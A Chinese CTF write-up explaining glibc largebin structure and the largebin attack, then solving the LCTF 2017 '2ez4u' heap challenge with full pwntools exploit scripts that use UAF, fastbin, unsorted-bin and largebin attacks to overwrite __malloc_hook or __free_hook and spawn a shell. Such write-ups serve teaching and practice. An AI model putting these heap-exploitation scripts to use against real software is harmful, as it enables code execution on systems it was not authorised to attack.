一、largebin的原理学习 大于512(1024)字节(0x400)的chunk称之为large chunk,large bin就是用于管理这些large chunk的
Large bins 中一共包括 63 个 bin,index为64~126,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内
largebin 的结构和其他链表都不相同,更加复杂
largebin里除了有fd、bk指针,另外还有fd_nextsize 和 bk_nextsize 这两个指针,因此是有横向链表和纵向链表2个链表,而纵向的链表目的在于加快寻找chunk的速度。
自己写个C语言学习下largebin的堆块分配方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <stdlib.h> int main () { unsigned long *pa, *pb, *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10, *p11, *p12, *p13, *p14; unsigned long *p; pa = malloc (0xb0 ); pb = malloc (0x20 ); p1 = malloc (0x400 ); p2 = malloc (0x20 ); p3 = malloc (0x410 ); p4 = malloc (0x20 ); p5 = malloc (0x420 ); p6 = malloc (0x20 ); p7 = malloc (0x420 ); p8 = malloc (0x20 ); p9 = malloc (0x430 ); p10 = malloc (0x20 ); p11 = malloc (0x430 ); p12 = malloc (0x20 ); p13 = malloc (0x430 ); p14 = malloc (0x20 ); free (pa); free (p1); free (p3); free (p5); free (p7); free (p9); free (p11); free (p13); p = malloc (0x20 ); p = malloc (0x80 ); return 0 ; }
可以看到申请的堆块0x400到0x420放在larbin(index64),而3个0x430的堆块放在largebin(index65),下面用图来解析:
这是largebin中的堆块的分配示意图,上方的是size有相同和不同,但处于同一largebin的chunk分布,下方是相同size处于同一largebin的chunk分布。
很清楚地可以看到fk和bk形成的横向链表,fd_nextsize和bk_nextsize形成的纵向链表(看不出可以将图顺时针旋转90度再看看)
这里通过fd指针和bk指针形成循环链表很好理解,和之前的small bin和unsorted bin一样,但是不同的在于,largebin中的chunk是按照从大到小的顺序排列的(表头大,表尾小),当有相同size的chunk时则按照free的时间顺序排序(也就是尾插法)。
同时相同size的chunk,只有第一个chunk会有fd_nextsize和bk_nextsize,其他的都没有,fd_nextsize和bk_nextsize置为0。
一般的,bk_nextchunk指向前一个比它大的chunk(表头和表尾除外)。这样就很好理解,fd_nextsize指向下一个比它小的chunk。
表头chunk的bk_nextsize指向表尾chunk,表尾的fd_nextsize指向表头chunk,从而fd_nextsize指针形成一个循环链表,bk_nextsize指针也形成一个循环链表,所以largebin的链表结构也相对复杂一些,但是理清楚了就好了。
了解了布局后,让我们继续看看申请largebin时的源码是什么样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); if ((victim = first (bin)) != bin && (unsigned long ) (victim->size ) >= (unsigned long ) (nb)) { victim = victim->bk_nextsize; while (((unsigned long ) (size = chunksize (victim)) < (unsigned long ) (nb))) victim = victim->bk_nextsize; if (victim != last (bin) && victim->size == victim->fd->size ) victim = victim->fd; remainder_size = size - nb; unlink (av, victim, bck, fwd); if (remainder_size < MINSIZE) { set_inuse_bit_at_offset (victim, size ); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; } else { remainder = chunk_at_offset (victim, nb); bck = unsorted_chunks (av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) { errstr = "malloc(): corrupted unsorted chunks" ; goto errout; } remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL ; remainder->bk_nextsize = NULL ; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
源码中提到了unlink的操作,继续分析largebin的unlink操作: 结合着那个图就很好理解了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0 )) \ malloc_printerr (check_action, "corrupted double-linked list" , P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; if (!in_smallbin_range (P->size ) \ && __builtin_expect (P->fd_nextsize != NULL , 0 )) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0 ) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0 )) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)" , \ P, AV); if (FD->fd_nextsize == NULL ) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
再来看看free状态的largebin的插入是怎么样的:victim就是想要插入的块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){ bck = victim->bk; if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0 ) || __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0 )) malloc_printerr (check_action, "malloc(): memory corruption" , chunk2mem (victim), av); size = chunksize (victim); if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long ) (size ) > (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL ; remainder->bk_nextsize = NULL ; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); if (size == nb) { set_inuse_bit_at_offset (victim, size ); if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } if (in_smallbin_range (size )) { victim_index = smallbin_index (size ); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size ); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert (chunk_main_arena (bck->bk)); if ((unsigned long ) (size ) < (unsigned long ) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long ) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long ) size == (unsigned long ) chunksize_nomask (fwd)) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
这里没有什么检查,所以我们可以伪造一个largebin堆块的bk和bk_nextsize,然后在实现assert时,就会把我们伪造的地址看成堆块,并在fake_chunk的fd和fd_nextsize处写入堆地址。
二、largebin的攻击原理 这里讲的是先部署好bk和bk_nextsize,当发生assert时,就会产生任意地址写堆地址的漏洞。
核心代码就是之前我们说的这个:p是第一个小于victim的堆块,bck是p的bk,所以链表关系是:
bck—>victim—>fwd,原始的横向列表和纵向列表都是bck—>fwd,即:
bck = fwd–>bk , bck=fwd–>bk_nextsize
而我们要做的利用堆溢出或者UAF漏洞,修改fwd的bk和bk_nextsize为fake_chunk地址,看代码就可以知道:
1 2 3 4 5 6 7 8 9 10 11 12 else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
所以就是通过修改fwd的bk和bk_nextsize,造成任意地址的fd和fd_nextsize写堆地址的漏洞。这个和unsortedbin attack有点像,但是又不同。
用how2heap的那个例子看看:
一波伪造,使得0x602840的size为0x3f1,目的是让largebin插进来时,正好在0x602840和0x602840的bk之间,修改0x602840的bk为栈地址,0x602840的bk_nextsize也是栈地址,第一步修改成功了,接着让largebin进来:
可以看到fd的位置(0x7fffffffdcc0)写入了堆地址,fd_nextsize的位置(0x7fffffffdcd0)也写入了堆地址,验证完毕。
三、题目演示 LCTF - 2ez4u 2017
保护全开,习惯就好,ida继续分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 void sub_1232 () { __int64 savedregs; while ( 1 ) { menu(); read_0(); switch ( &savedregs ) { case 1u : malloc_0(); break ; case 2u : free_0(); break ; case 3u : edit(); break ; case 4u : show_0(); break ; case 5u : exit (0 ); return ; default : puts ("invalid choice !" ); break ; } } }
熟悉的菜单题,一个个看功能:
malloc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 unsigned __int64 malloc_0 () { signed int i; int v2; unsigned int v3; unsigned int v4; unsigned int size ; _QWORD *chunk; unsigned __int64 v7; v7 = __readfsqword(0x28 u); if ( unk_202140 == 16 ) { puts ("sorry XD" ); } else { printf ("color?(0:red, 1:green):" ); v2 = read_0(); if ( v2 != 1 && v2 ) { puts ("invalid" ); } else { printf ("value?(0-999):" ); v3 = read_0(); if ( v3 <= 0x3E7 ) { printf ("num?(0-16):" ); v4 = read_0(); if ( v4 <= 0x10 ) { printf ("description length?(1-1024):" ); size = read_0(); if ( size <= 0x400 && size ) { chunk = malloc (size + 0x18 LL); printf ("description of the apple:" ); read_1((chunk + 3 ), size , 10 ); *chunk = v2; chunk[1 ] = v3; *(chunk + 1 ) = v4; for ( i = 0 ; i <= 15 ; ++i ) { if ( !LODWORD(qword_202040[2 * i]) ) { *(chunk + 4 ) = i; qword_202040[2 * i + 1 ] = chunk; HIDWORD(qword_202040[2 * i]) = size ; LODWORD(qword_202040[2 * i]) = 1 ; ++unk_202140; printf ("apple index: %d\n" , i); return __readfsqword(0x28 u) ^ v7; } } } else { puts ("???" ); } } else { puts ("invalid" ); } } else { puts ("invalid" ); } } } return __readfsqword(0x28 u) ^ v7; }
这里可以知道申请的chunk最大为0x400,但是每一次申请都会加0x18,所以最大是0x418的chunk,已经到达了largebin的范围。这里可以清楚地看到堆块的布局:
1 2 3 4 5 6 7 8 9 struck chunk { int size ; int color; int value; int num; int index; char content[size -0x18 ]; }
很明显,这个0x18是用来隔开输入的,这样FD和BK就不能控制了,作者这一步还是挺好的,但是我们可以利用unsortedbin的切割,后面再讲,继续分析:
这是read函数,可以看到输入中,如果是回车,则变成\x00,输入结束后把末尾置为0截断,如果不输入也还是置为0,没有offbynull,多了个0截断。
free:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 sub_E57 () { unsigned int idx; unsigned __int64 v2; v2 = __readfsqword(0x28 u); printf ("which?(0-15):" ); idx = read_0(); if ( idx <= 0xF && LODWORD(qword_202040[2 * idx]) ) { LODWORD(qword_202040[2 * idx]) = 0 ; free (qword_202040[2 * idx + 1 ]); --unk_202140; } else { puts ("???" ); } return __readfsqword(0x28 u) ^ v2; }
edit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 unsigned __int64 sub_F19 () { unsigned int idx; int v2; unsigned int v3; unsigned int v4; unsigned __int64 v5; v5 = __readfsqword(0x28 u); printf ("which?(0-15):" ); idx = read_0(); if ( idx <= 0xF && qword_202040[2 * idx + 1 ] ) { printf ("color?(0:red, 1:green):" ); v2 = read_0(); if ( v2 != 1 && v2 ) puts ("invalid" ); else *qword_202040[2 * idx + 1 ] = v2; printf ("value?(0-999):" ); v3 = read_0(); if ( v3 <= 0x3E7 ) *(qword_202040[2 * idx + 1 ] + 1 ) = v3; else puts ("invalid" ); printf ("num?(0-16):" ); v4 = read_0(); if ( v4 <= 0x10 ) qword_202040[2 * idx + 1 ][1 ] = v4; else puts ("invalid" ); printf ("new description of the apple:" ); read_1((qword_202040[2 * idx + 1 ] + 6 ), HIDWORD(qword_202040[2 * idx]), 10 ); } else { puts ("invalid" ); } return __readfsqword(0x28 u) ^ v5; }
最后是show函数:
正常打印,但是只有descrition的大小才够打出我们需要的地址来。这道题到这里就分析完了:
1、有UAF漏洞,有可以edit一个free掉的堆块(利用index更新机制)
2、利用unsortedbin中相邻物理地址的堆块合并(向前合并),假设有0x100的chunk1和chunk2,都free掉,我们可以得到一个chunk0(0x200),这里再次申请chunk3(0x110),就会把main_arena+88的真实地址写入到free的chunk2的description中,然后我们再show下chunk2的内容,就可以得到真实地址。
3、如果我们有chunk0(0x20)—>chunk1(0x20)—>chunk2(0x120),free2,再free0,再free1,毫无疑问,下一次申请chunk4(0x90)和chunk5(0x50)还是切割chunk2,但是下标变成了0和1,而我们利用第一点,edit下我们的2号块,size是0x120,就可以实现任意写chunk4和chunk5。FD指针和BK指针都可以控制了。
接下来用2种方法做这道题:
第一种是fastbin attack+unsourtedbin attack:
第二种是largebin attack
第一种方法,泄露了地址后,利用unsorted bin去攻击malloc_hook-0x50,从而在malloc_hook-0x40写入了main_arena+88真实地址,所以在malloc_hook-0x43处会有0x7f的size头可以构造fake_chunk,利用edit去写FD伪造,申请出来就是常规写onegadget的操作了。之所以这样就是因为写入description要隔开0x18的大小,所以之前malloc_hook-0x23的位置没有用了,得自己构造,这样写入的偏移还是0x13,这里直接上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 from pwn import *from libformatstr import FormatStrcontext.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./2ez4u' ) if local: p = process('./2ez4u' ) libc = elf.libc else : p = remote('192.168.100.20' ,50005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) def malloc (color,value,num,size,content) : ru("your choice: " ) sl('1' ) ru("color?(0:red, 1:green):" ) sl(str(color)) ru("value?(0-999):" ) sl(str(value)) ru("num?(0-16):" ) sl(str(num)) ru("description length?(1-1024):" ) sl(str(size)) ru("description of the apple:" ) sl(content) def free (index) : ru("your choice: " ) sl('2' ) ru("which?(0-15):" ) sl(str(index)) def edit (index,color,value,num,content) : ru("your choice: " ) sl('3' ) ru("which?(0-15):" ) sl(str(index)) ru("color?(0:red, 1:green):" ) sl(str(color)) ru("value?(0-999):" ) sl(str(value)) ru("num?(0-16):" ) sl(str(num)) ru("new description of the apple:" ) sl(content) def show (index) : ru("your choice: " ) sl('4' ) ru("which?(0-15):" ) sl(str(index)) malloc(0 ,0x100 ,0 ,0x68 ,'aaaa' ) malloc(0 ,0x100 ,0 ,0x68 ,'bbbb' ) malloc(0 ,0x100 ,0 ,0x68 ,'cccc' ) free(0 ) free(1 ) malloc(0 ,0x100 ,0 ,0x78 ,'dddd' ) show(1 ) ru("description:" ) libc_base = u64(rc(6 ).ljust(8 ,'\x00' )) - 0x3c4b78 print "libc_base--->" + hex(libc_base)malloc_hook = libc_base + libc.sym["__malloc_hook" ] realloc = libc_base + libc.sym["realloc" ] fake_chunk = malloc_hook - 0x43 onegadget = libc_base + 0xf1147 free(2 ) free(0 ) malloc(0 ,0x100 ,0 ,0x20 ,'eeee' ) malloc(0 ,0x100 ,0 ,0x20 ,'ffff' ) malloc(0 ,0x100 ,0 ,0x100 ,'eeee' ) malloc(0 ,0x100 ,0 ,0x20 ,'pppp' ) free(2 ) free(0 ) free(1 ) malloc(0 ,0x100 ,0 ,0x90 ,'eeee' ) py = '' py += 'a' *0x88 py += p64(0 ) + p64(0x71 ) py += p64(0 ) + p64(malloc_hook-0x50 ) edit(2 ,0 ,0 ,0 ,py) malloc(0 ,0x100 ,0 ,0x50 ,'hhhh' ) free(1 ) py = '' py += 'a' *0x88 py += p64(0 ) + p64(0x71 ) py += p64(malloc_hook-0x43 ) edit(2 ,0 ,0 ,0 ,py) malloc(0 ,0x100 ,0 ,0x50 ,'hhhh' ) py = '' py += 'a' *0x13 + p64(onegadget) + p64(realloc+4 ) malloc(0 ,0x100 ,0 ,0x50 ,py) ru("your choice: " ) sl('1' ) ru("color?(0:red, 1:green):" ) sl('0' ) ru("value?(0-999):" ) sl('0' ) ru("num?(0-16):" ) sl('0' ) ru("description length?(1-1024):" ) sl('777' ) p.interactive()
这里主要讲largebin attack,下面进入正题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 from __future__ import print_functionfrom pwn import *from ctypes import c_uint32 context.arch = 'x86-64' context.os = 'linux' context.log_level = 'DEBUG' io = process("./2ez4u" , env = {"LD_PRELOAD" : "./libc.so" }) base_addr = 0x0000555555554000 def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) gdb.attach(io,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(io,"b *{}" .format(hex(addr))) def add (l, desc) : io.recvuntil('your choice:' ) io.sendline('1' ) io.recvuntil('color?(0:red, 1:green):' ) io.sendline('0' ) io.recvuntil('value?(0-999):' ) io.sendline('0' ) io.recvuntil('num?(0-16)' ) io.sendline('0' ) io.recvuntil('description length?(1-1024):' ) io.sendline(str(l)) io.recvuntil('description of the apple:' ) io.sendline(desc) def dele (idx) : io.recvuntil('your choice:' ) io.sendline('2' ) io.recvuntil('which?(0-15):' ) io.sendline(str(idx)) def edit (idx, desc) : io.recvuntil('your choice:' ) io.sendline('3' ) io.recvuntil('which?(0-15):' ) io.sendline(str(idx)) io.recvuntil('color?(0:red, 1:green):' ) io.sendline('2' ) io.recvuntil('value?(0-999):' ) io.sendline('1000' ) io.recvuntil('num?(0-16)' ) io.sendline('17' ) io.recvuntil('new description of the apple:' ) io.sendline(desc) def show (idx) : io.recvuntil('your choice:' ) io.sendline('4' ) io.recvuntil('which?(0-15):' ) io.sendline(str(idx)) add(0x60 , '0' *0x60 ) add(0x60 , '1' *0x60 ) add(0x60 , '2' *0x60 ) add(0x60 , '3' *0x60 ) add(0x60 , '4' *0x60 ) add(0x60 , '5' *0x60 ) add(0x60 , '6' *0x60 ) add(0x3f0 , '7' *0x3f0 ) add(0x30 , '8' *0x30 ) add(0x3e0 , '9' *0x3d0 ) add(0x30 , 'a' *0x30 ) add(0x3f0 , 'b' *0x3e0 ) add(0x30 , 'c' *0x30 ) dele(0x9 ) dele(0xb ) dele(0x0 ) add(0x400 , '0' *0x400 ) show(0xb ) io.recvuntil('num: ' ) print(hex(c_uint32(int(io.recvline()[:-1 ])).value)) io.recvuntil('description:' ) HEAP = u64(io.recvline()[:-1 ]+'\x00\x00' )-0x7e0 log.info("heap base 0x%016x" % HEAP) target_addr = HEAP+0xb0 chunk1_addr = HEAP+0x130 chunk2_addr = HEAP+0x1b0 victim_addr = HEAP+0xc30 edit(0xb , p64(chunk1_addr)) edit(0x1 , p64(0x0 )+p64(chunk1_addr)) chunk2 = p64(0x0 ) chunk2 += p64(0x0 ) chunk2 += p64(0x421 ) chunk2 += p64(0x0 ) chunk2 += p64(0x0 ) chunk2 += p64(chunk1_addr) edit(0x3 , chunk2) chunk1 = '' chunk1 += p64(0x0 ) chunk1 += p64(0x0 ) chunk1 += p64(0x411 ) chunk1 += p64(target_addr-0x18 ) chunk1 += p64(target_addr-0x10 ) chunk1 += p64(victim_addr) chunk1 += p64(chunk2_addr) edit(0x2 , chunk1) edit(0x7 , '7' *0x198 +p64(0x410 )+p64(0x411 )) dele(0x6 ) dele(0x3 ) add(0x3f0 , '3' *0x30 +p64(0xdeadbeefdeadbeef )) add(0x60 , '6' *0x60 ) show(0x3 ) io.recvuntil('3' *0x30 ) io.recv(8 ) LIBC = u64(io.recv(6 )+'\x00\x00' )-0x3c4be8 log.info("libc base 0x%016x" % LIBC) junk = '' junk += '3' *0x30 junk += p64(0x81 ) junk += p64(LIBC+0x3c4be8 ) junk += p64(HEAP+0x300 ) junk = junk.ljust(0xa8 , 'A' ) junk += p64(0x80 ) recovery = '' recovery += junk recovery += p64(0x80 ) recovery += p64(0x60 ) dele(0x5 ) dele(0x4 ) edit(0x3 , recovery) add(0x60 , '4' *0x60 ) recovery = '' recovery += junk recovery += p64(0x70 ) recovery += p64(0x0 ) edit(0x3 , recovery) add(0x40 , '5' *0x30 ) dele(0x5 ) recovery = '' recovery += '3' *0x30 recovery += p64(0x61 ) recovery += p64(LIBC+0x3c4b50 ) edit(0x3 , recovery) add(0x40 , '5' *0x30 ) add(0x40 , p64(LIBC+0x3c5c50 )) edit(0xb , p64(HEAP+0x7e0 )) dele(0x6 ) add(0x300 , '\x00' ) add(0x300 , '\x00' ) add(0x300 , '\x00' ) add(0x300 , '\x00' ) add(0x300 , '/bin/sh' ) dele(0x1 ) add(0x300 , '\x00' *0x1d0 +p64(LIBC+0x4526a )) debug(0 ) dele(15 ) io.interactive()
因为这个程序有0x18的阻拦,所以泄露地址其实有点问题,这里全程采用largebin的方法去做:
利用了largebin的unlink漏洞,大概思路如下:
1、2个largebin的堆块入bin,泄露出bk_nextsize处的堆地址
2、有了堆地址,我们可以伪造fake_largebin_chunk(伪造指针)进行largebin的attack,从而利用堆块重叠,可以泄露出libc地址
3、有了地址,我们再利用UAF漏洞实现fastbin的attack,修改arena上的topchunk地址为free_hook上方,接着再malloc就会从新的topchunk地址处切割,就可以修改free_hook为system,然后free一个binsh的堆块既可getshell
先上完整的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 from __future__ import print_functionfrom pwn import *from ctypes import c_uint32 from pwn import *debug=1 context.log_level='debug' context.arch='amd64' e=ELF('./2ez4u' ) if debug: io=process('./2ez4u' ) libc=e.libc else : io=remote('' ,) base_addr = 0x0000555555554000 def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) gdb.attach(io,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(io,"b *{}" .format(hex(addr))) def add (l, desc) : io.recvuntil('your choice:' ) io.sendline('1' ) io.recvuntil('color?(0:red, 1:green):' ) io.sendline('0' ) io.recvuntil('value?(0-999):' ) io.sendline('0' ) io.recvuntil('num?(0-16)' ) io.sendline('0' ) io.recvuntil('description length?(1-1024):' ) io.sendline(str(l)) io.recvuntil('description of the apple:' ) io.sendline(desc) def dele (idx) : io.recvuntil('your choice:' ) io.sendline('2' ) io.recvuntil('which?(0-15):' ) io.sendline(str(idx)) def edit (idx, desc) : io.recvuntil('your choice:' ) io.sendline('3' ) io.recvuntil('which?(0-15):' ) io.sendline(str(idx)) io.recvuntil('color?(0:red, 1:green):' ) io.sendline('2' ) io.recvuntil('value?(0-999):' ) io.sendline('1000' ) io.recvuntil('num?(0-16)' ) io.sendline('17' ) io.recvuntil('new description of the apple:' ) io.sendline(desc) def show (idx) : io.recvuntil('your choice:' ) io.sendline('4' ) io.recvuntil('which?(0-15):' ) io.sendline(str(idx)) add(0x60 , '0' *0x60 ) add(0x60 , '1' *0x60 ) add(0x60 , '2' *0x60 ) add(0x60 , '3' *0x60 ) add(0x60 , '4' *0x60 ) add(0x60 , '5' *0x60 ) add(0x60 , '6' *0x60 ) add(0x3f0 , '7' *0x3f0 ) add(0x30 , '8' *0x30 ) add(0x3e0 , '9' *0x3d0 ) add(0x30 , 'a' *0x30 ) add(0x3f0 , 'b' *0x3e0 ) add(0x30 , 'c' *0x30 ) dele(0x9 ) dele(0xb ) dele(0x0 ) add(0x400 , '0' *0x400 ) show(0xb ) io.recvuntil('num: ' ) print(hex(c_uint32(int(io.recvline()[:-1 ])).value)) io.recvuntil('description:' ) HEAP = u64(io.recvline()[:-1 ]+'\x00\x00' )-0x7e0 log.info("heap base 0x%016x" % HEAP) target_addr = HEAP+0xb0 chunk1_addr = HEAP+0x130 chunk2_addr = HEAP+0x1b0 victim_addr = HEAP+0xc30 edit(0xb , p64(chunk1_addr)) edit(0x1 , p64(0x0 )+p64(chunk1_addr)) chunk2 = p64(0x0 ) chunk2 += p64(0x0 ) chunk2 += p64(0x421 ) chunk2 += p64(0x0 ) chunk2 += p64(0x0 ) chunk2 += p64(chunk1_addr) edit(0x3 , chunk2) chunk1 = '' chunk1 += p64(0x0 ) chunk1 += p64(0x0 ) chunk1 += p64(0x411 ) chunk1 += p64(target_addr-0x18 ) chunk1 += p64(target_addr-0x10 ) chunk1 += p64(victim_addr) chunk1 += p64(chunk2_addr) edit(0x2 , chunk1) edit(0x7 , '7' *0x198 +p64(0x410 )+p64(0x411 )) debug(0 ) dele(0x6 ) dele(0x3 ) add(0x3f0 , '3' *0x30 +p64(0xdeadbeefdeadbeef )) add(0x60 , '6' *0x60 ) show(0x3 ) io.recvuntil('3' *0x30 ) io.recv(8 ) LIBC = u64(io.recv(6 )+'\x00\x00' )-0x3c4be8 log.info("libc base 0x%016x" % LIBC) junk = '' junk += '3' *0x30 junk += p64(0x81 ) junk += p64(LIBC+0x3c4be8 ) junk += p64(HEAP+0x300 ) junk = junk.ljust(0xa8 , 'A' ) junk += p64(0x80 ) recovery = '' recovery += junk recovery += p64(0x80 ) recovery += p64(0x60 ) dele(0x5 ) dele(0x4 ) edit(0x3 , recovery) add(0x60 , '4' *0x60 ) recovery = '' recovery += junk recovery += p64(0x70 ) recovery += p64(0x0 ) edit(0x3 , recovery) add(0x40 , '5' *0x30 ) dele(0x5 ) recovery = '' recovery += '3' *0x30 recovery += p64(0x61 ) recovery += p64(LIBC+0x3c4b50 ) edit(0x3 , recovery) add(0x40 , '5' *0x30 ) add(0x40 , p64(LIBC+0x3c5c50 )) edit(0xb , p64(HEAP+0x7e0 )) 